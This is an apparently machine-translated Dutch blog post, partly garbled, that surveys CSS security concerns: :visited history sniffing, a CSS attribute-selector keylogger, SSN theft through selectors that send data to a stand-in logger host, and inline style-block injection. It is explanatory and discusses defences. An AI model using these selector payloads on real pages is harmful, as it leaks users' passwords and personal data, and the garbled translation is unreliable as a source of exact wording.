CSS Beveiliging Kwetsbaarheden

0
17

Niet lezen, die kop en me zorgen te maken. Ik denk niet dat CSS is een bijzonder gevaarlijke veiligheid betreffen en, voor het grootste deel, ik denk niet dat je je zorgen hoeft te maken over het.

Maar elke keer in een tijdje, de artikelen hebben de neiging om te circuleren en nog wat aandacht zoals u naar de mogelijkheden van wat CSS kunt doen dat misschien een verrassing of je zorgen over te maken.

Hier is een kleine roundup.

De Bezochte Link Bezorgdheid

Deze gaat als volgt:

  1. U plaatst een link naar een bepaalde pagina op uw site, zeg <a href=”https://i-tickle-pigs.com”>Prikkelen Varkens</a>
  2. Je stijl van de bezochte staat die link als a:visited { color: roze; } die is niet een standaard user agent stijl.
  3. U test de berekende stijl van die link.
  4. Als het roze, deze gebruiker is een varken tickler.
  5. U melden dat varken kietelen informatie terug naar een server ergens en waarschijnlijk triple hun varken bezit van verzekering tarieven als zeker van de varkens zal lijden onder extreme emotionele distress dan alle kietelen.

Zou u zelfs kunnen om het te doen, geheel in de CSS, want dat :bezocht stijl zou kunnen hebben als background-image: url(/data-logger/tickle.php); die is alleen gevraagd door varken ticklers.

Bezorgd? Wees niet browsers hebben al dit verhinderd wordt mogelijk.

De Keylogger

Deze gaat als volgt:

  1. Er is een ingang op de pagina. Misschien een wachtwoord invoeren. Eng!
  2. Je zet een logger script als de waarde voor de ingang van de achtergrond afbeelding, maar ook een miljard meer keuzemogelijkheden net zoals dat bijvoorbeeld dat de logger zal verzamelen en rapporteren van sommige of alle van het wachtwoord.

input[value^=”a”] { background: url(logger.php?v=a); }

Dit is niet zo gemakkelijk. Het value attribuut van een input-verandert niet alleen omdat je het type in. Het doet soms in frameworks zoals Reageren, dus als je slip deze CSS op een login-pagina aangedreven door Reageren en gecodeerd op die manier dan, in theorie, in deze CSS-powered keylogger zou kunnen werken.

Maar… in dat geval, JavaScript wordt uitgevoerd op die pagina toch. JavaScript is 1000× meer over dan CSS voor dit soort dingen. Een keylogger in JavaScript is slechts een paar regels code kijken voor toetsdrukgebeurtenissen en deze te melden via Ajax.

Derde-partij en XSS geïnjecteerd inline JavaScript is nu stoppable met een Content Security Policy (CSP)… maar zo is CSS.

De Gegevens Dief

Deze gaat als volgt:

  1. Als ik sommige van mijn snode CSS op een pagina waar u hebt geverifieerd in een site…
  2. En die site geeft je gevoelige informatie, zoals een social security number (SSN) in een vooraf ingevuld formulier…
  3. Ik kan gebruik maken van attribuut-selectors om het te achterhalen.

input#ssn[value=”123-45-6789″] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

Een miljard keuzemogelijkheden en je hebt bedekt alle mogelijkheden!

De inline stijl blok whoopsie

Ik weet niet of ik de schuld van CSS is dit noodzakelijk, maar stel je eens voor:

<style>
… Drop in enkele door de gebruiker gegenereerd materiaal …
</style>

Misschien bent u zodat de gebruiker geen enkele CSS aanpassingen er. Dat is een aanval, als ze zou kunnen sluiten dat de tag style, open een script-tag, en schrijf snode JavaScript.

Ik weet zeker dat er een heleboel meer

Heb ’em? Deel ’em.

Verf me een beetje sceptisch over hoe bang ik moet over CSS beveiligingsproblemen. Ik wil niet bagatelliseren beveiliging dingen te veel (vooral derde-partij betreft) want ik ben geen expert en veiligheid is van het grootste belang, maar op hetzelfde moment, ik heb nooit een keer gehoord van CSS wordt de aanval voor alles wat zich buiten een gedachte-oefening. Opvoeden me!